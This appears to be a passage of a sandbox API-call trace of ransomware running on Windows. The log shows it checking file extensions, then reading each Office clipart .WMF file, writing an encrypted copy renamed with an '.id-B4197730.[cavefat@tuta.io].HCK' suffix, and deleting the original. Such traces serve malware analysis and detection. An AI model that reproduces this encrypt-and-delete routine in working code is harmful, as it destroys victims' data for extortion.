[0235.851] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68 [0235.851] lstrlenW (lpString=".zip") returned 4 [0235.851] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.851] lstrlenW (lpString=".rar") returned 4 [0235.851] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.851] lstrlenW (lpString=".bz2") returned 4 [0235.851] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.851] lstrlenW (lpString=".7z") returned 3 [0235.851] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68 [0235.851] lstrlenW (lpString=".dbf") returned 4 [0235.851] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68 [0235.851] lstrlenW (lpString=".1cd") returned 4 [0235.851] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68 [0235.851] lstrlenW (lpString=".jpg") returned 4 [0235.851] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68 [0235.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68 [0235.851] lstrlenW (lpString=".doc") returned 4 [0235.851] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.851] lstrlenW (lpString=".docx") returned 5 [0235.851] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0235.851] lstrlenW (lpString=".pdf") returned 4 [0235.851] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.851] lstrlenW (lpString=".xls") returned 4 [0235.851] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.851] lstrlenW (lpString=".xlsx") returned 5 [0235.851] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0235.851] lstrlenW (lpString=".ppt") returned 4 [0235.851] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68 [0235.852] lstrlenW (lpString=".zip") returned 4 [0235.852] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.852] lstrlenW (lpString=".rar") returned 4 [0235.852] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.852] lstrlenW (lpString=".bz2") returned 4 [0235.852] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.852] lstrlenW (lpString=".7z") returned 3 [0235.852] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68 [0235.852] lstrlenW (lpString=".dbf") returned 4 [0235.852] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68 [0235.852] lstrlenW (lpString=".1cd") returned 4 [0235.852] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68 [0235.852] lstrlenW (lpString=".jpg") returned 4 [0235.852] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.852] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0235.852] lstrlenW (lpString="J0107728.WMF") returned 12 [0235.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107728.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0235.853] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=5492) returned 1 [0235.853] CloseHandle (hObject=0x3b8) returned 1 [0235.853] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107728.wmf")) returned 0x220 [0235.853] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107728.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0235.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107728.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0235.854] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0235.854] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0235.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107728.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0235.854] GetLastError () returned 0x0 [0235.854] ReadFile (in: hFile=0x3b8, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x1574, lpOverlapped=0x0) returned 1 [0235.856] WriteFile (in: hFile=0x3c4, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x1580, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x1580, lpOverlapped=0x0) returned 1 [0235.857] ReadFile (in: hFile=0x3b8, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0235.857] WriteFile (in: hFile=0x3c4, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0235.857] SetEndOfFile (hFile=0x3c4) returned 1 [0235.857] CloseHandle (hObject=0x3c4) returned 1 [0235.857] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0235.857] SetEndOfFile (hFile=0x3b8) returned 1 [0235.859] CloseHandle (hObject=0x3b8) returned 1 [0235.859] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0235.859] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107728.wmf")) returned 1 [0235.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68 [0235.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68 [0235.860] lstrlenW (lpString=".doc") returned 4 [0235.860] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.860] lstrlenW (lpString=".docx") returned 5 [0235.860] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0235.860] lstrlenW (lpString=".pdf") returned 4 [0235.860] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.860] lstrlenW (lpString=".xls") returned 4 [0235.860] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.860] lstrlenW (lpString=".xlsx") returned 5 [0235.860] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0235.860] lstrlenW (lpString=".ppt") returned 4 [0235.860] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68 [0235.861] lstrlenW (lpString=".zip") returned 4 [0235.861] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.861] lstrlenW (lpString=".rar") returned 4 [0235.861] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.861] lstrlenW (lpString=".bz2") returned 4 [0235.861] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.861] lstrlenW (lpString=".7z") returned 3 [0235.861] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68 [0235.861] lstrlenW (lpString=".dbf") returned 4 [0235.861] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68 [0235.861] lstrlenW (lpString=".1cd") returned 4 [0235.861] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68 [0235.861] lstrlenW (lpString=".jpg") returned 4 [0235.861] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68 [0235.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68 [0235.862] lstrlenW (lpString=".doc") returned 4 [0235.862] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.862] lstrlenW (lpString=".docx") returned 5 [0235.862] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0235.862] lstrlenW (lpString=".pdf") returned 4 [0235.862] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.862] lstrlenW (lpString=".xls") returned 4 [0235.862] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.863] lstrlenW (lpString=".xlsx") returned 5 [0235.863] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0235.863] lstrlenW (lpString=".ppt") returned 4 [0235.863] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68 [0235.863] lstrlenW (lpString=".zip") returned 4 [0235.863] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.863] lstrlenW (lpString=".rar") returned 4 [0235.863] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.863] lstrlenW (lpString=".bz2") returned 4 [0235.863] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.863] lstrlenW (lpString=".7z") returned 3 [0235.863] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68 [0235.863] lstrlenW (lpString=".dbf") returned 4 [0235.863] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68 [0235.863] lstrlenW (lpString=".1cd") returned 4 [0235.863] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68 [0235.863] lstrlenW (lpString=".jpg") returned 4 [0235.863] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.863] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0235.863] lstrlenW (lpString="J0107730.WMF") returned 12 [0235.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107730.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0235.864] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=3060) returned 1 [0235.864] CloseHandle (hObject=0x3b8) returned 1 [0235.864] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107730.wmf")) returned 0x220 [0235.864] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107730.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0235.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107730.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0235.865] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0235.865] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0235.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107730.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0235.866] GetLastError () returned 0x0 [0235.866] ReadFile (in: hFile=0x3b8, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0xbf4, lpOverlapped=0x0) returned 1 [0235.867] WriteFile (in: hFile=0x3c4, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xc00, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xc00, lpOverlapped=0x0) returned 1 [0235.868] ReadFile (in: hFile=0x3b8, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0235.868] WriteFile (in: hFile=0x3c4, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0235.868] SetEndOfFile (hFile=0x3c4) returned 1 [0235.868] CloseHandle (hObject=0x3c4) returned 1 [0235.868] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0235.868] SetEndOfFile (hFile=0x3b8) returned 1 [0235.870] CloseHandle (hObject=0x3b8) returned 1 [0235.870] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0235.870] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107730.wmf")) returned 1 [0235.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68 [0235.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68 [0235.871] lstrlenW (lpString=".doc") returned 4 [0235.871] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.871] lstrlenW (lpString=".docx") returned 5 [0235.871] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0235.871] lstrlenW (lpString=".pdf") returned 4 [0235.871] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.871] lstrlenW (lpString=".xls") returned 4 [0235.871] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.871] lstrlenW (lpString=".xlsx") returned 5 [0235.871] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0235.871] lstrlenW (lpString=".ppt") returned 4 [0235.871] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68 [0235.871] lstrlenW (lpString=".zip") returned 4 [0235.872] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.872] lstrlenW (lpString=".rar") returned 4 [0235.872] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.872] lstrlenW (lpString=".bz2") returned 4 [0235.872] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.872] lstrlenW (lpString=".7z") returned 3 [0235.872] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68 [0235.872] lstrlenW (lpString=".dbf") returned 4 [0235.872] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68 [0235.872] lstrlenW (lpString=".1cd") returned 4 [0235.872] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68 [0235.872] lstrlenW (lpString=".jpg") returned 4 [0235.872] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68 [0235.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68 [0235.872] lstrlenW (lpString=".doc") returned 4 [0235.872] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.872] lstrlenW (lpString=".docx") returned 5 [0235.872] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0235.872] lstrlenW (lpString=".pdf") returned 4 [0235.872] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.872] lstrlenW (lpString=".xls") returned 4 [0235.872] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.872] lstrlenW (lpString=".xlsx") returned 5 [0235.872] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0235.872] lstrlenW (lpString=".ppt") returned 4 [0235.872] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68 [0235.872] lstrlenW (lpString=".zip") returned 4 [0235.872] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.872] lstrlenW (lpString=".rar") returned 4 [0235.872] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.872] lstrlenW (lpString=".bz2") returned 4 [0235.872] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.872] lstrlenW (lpString=".7z") returned 3 [0235.872] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68 [0235.872] lstrlenW (lpString=".dbf") returned 4 [0235.872] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68 [0235.872] lstrlenW (lpString=".1cd") returned 4 [0235.872] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68 [0235.872] lstrlenW (lpString=".jpg") returned 4 [0235.872] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.873] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0235.873] lstrlenW (lpString="J0107734.WMF") returned 12 [0235.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107734.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0235.874] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=3140) returned 1 [0235.874] CloseHandle (hObject=0x3b8) returned 1 [0235.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107734.wmf")) returned 0x220 [0235.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107734.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0235.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107734.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0235.875] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0235.875] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0235.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107734.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0235.875] GetLastError () returned 0x0 [0235.875] ReadFile (in: hFile=0x3b8, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0xc44, lpOverlapped=0x0) returned 1 [0235.877] WriteFile (in: hFile=0x3c4, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xc50, lpOverlapped=0x0) returned 1 [0235.877] ReadFile (in: hFile=0x3b8, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0235.877] WriteFile (in: hFile=0x3c4, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0235.878] SetEndOfFile (hFile=0x3c4) returned 1 [0235.878] CloseHandle (hObject=0x3c4) returned 1 [0235.878] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0235.878] SetEndOfFile (hFile=0x3b8) returned 1 [0236.126] CloseHandle (hObject=0x3b8) returned 1 [0236.126] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0236.186] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107734.wmf")) returned 1 [0236.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68 [0236.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68 [0236.341] lstrlenW (lpString=".doc") returned 4 [0236.341] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0236.341] lstrlenW (lpString=".docx") returned 5 [0236.341] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0236.341] lstrlenW (lpString=".pdf") returned 4 [0236.341] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0236.341] lstrlenW (lpString=".xls") returned 4 [0236.341] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0236.341] lstrlenW (lpString=".xlsx") returned 5 [0236.341] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0236.341] lstrlenW (lpString=".ppt") returned 4 [0236.341] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0236.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68 [0236.341] lstrlenW (lpString=".zip") returned 4 [0236.341] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0236.341] lstrlenW (lpString=".rar") returned 4 [0236.342] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0236.342] lstrlenW (lpString=".bz2") returned 4 [0236.342] lstrcmpiW 